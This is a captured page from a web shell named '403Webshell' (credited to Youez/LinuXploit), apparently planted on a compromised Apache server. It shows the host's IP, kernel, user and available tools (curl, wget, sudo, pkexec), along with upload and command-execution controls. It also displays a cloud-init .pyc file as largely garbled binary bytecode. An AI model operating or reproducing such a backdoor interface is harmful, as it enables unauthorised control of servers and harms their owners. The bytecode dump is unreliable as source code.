403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/__pycache__/temp_utils.cpython-36.pyc
3

��b��@sjddlZddlZddlZddlZddlZdadZdZddd�Zdd�Z	ej
dd	d
��Zdd�Zd
d�Z
dS)�Nz/run/cloud-init/tmpz/var/tmp/cloud-initFcCs�|dk	r|S|r:t}tjj|�s6tj|�tj|d�|StrBtStj�dkrTt}ntj	j
dd�}tjj|�s�tj|�tj|d�|a|S)a%Return the proper 'dir' argument for tempfile functions.

    When root, cloud-init will use /run/cloud-init/tmp to avoid
    any cleaning that a distro boot might do on /tmp (such as
    systemd-tmpfiles-clean).

    If the caller of this function (mkdtemp or mkstemp) was provided
    with a 'dir' argument, then that is respected.

    @param odir: original 'dir' arg to 'mkdtemp' or other.
    @param needs_exe: Boolean specifying whether or not exe permissions are
        needed for tempdir. This is needed because /run is mounted noexec.
    Ni�rZTMPDIRz/tmp)�_EXE_ROOT_TMPDIR�os�path�isdir�makedirs�chmod�_TMPDIR�getuid�_ROOT_TMPDIR�environ�get)Zodir�	needs_exe�tdir�r� /usr/lib/python3.6/temp_utils.py�_tempfile_dir_args$

rcsTt|jdd�|jdd��|d<tjf|��dd�}|�_�fdd�}t�d|��S)	N�dirr
FcSsFytj|�Wn2tk
r@}z|jtjkr0|�WYdd}~XnXdS)N)r�unlink�OSError�errno�ENOENT)r�errr�_unlink_if_exists?s
z0ExtendedTemporaryFile.<locals>._unlink_if_existscs�j�j�dS)N)r�namer)�fhrr�
unlink_nowMsz)ExtendedTemporaryFile.<locals>.unlink_nowr)r�pop�tempfileZNamedTemporaryFiler�setattr)�kwargsrrr)rr�ExtendedTemporaryFile6sr c
ks*tf|�}z
|VWdtj||d�XdS)N)�
ignore_errors)�mkdtemp�shutilZrmtree)Zrmtree_ignore_errorsrrrrr�tempdirTs

r$cKs*t|jdd�|jdd��|d<tjf|�S)Nrr
F)rrrr")rrrrr"`sr"cKs*t|jdd�|jdd��|d<tjf|�S)Nrr
F)rrr�mkstemp)rrrrr%gsr%)NF)F)�
contextlibrrr#rrr
rrr �contextmanagerr$r"r%rrrr�<module>s
(

Youez - 2016 - github.com/yon3zu
LinuXploit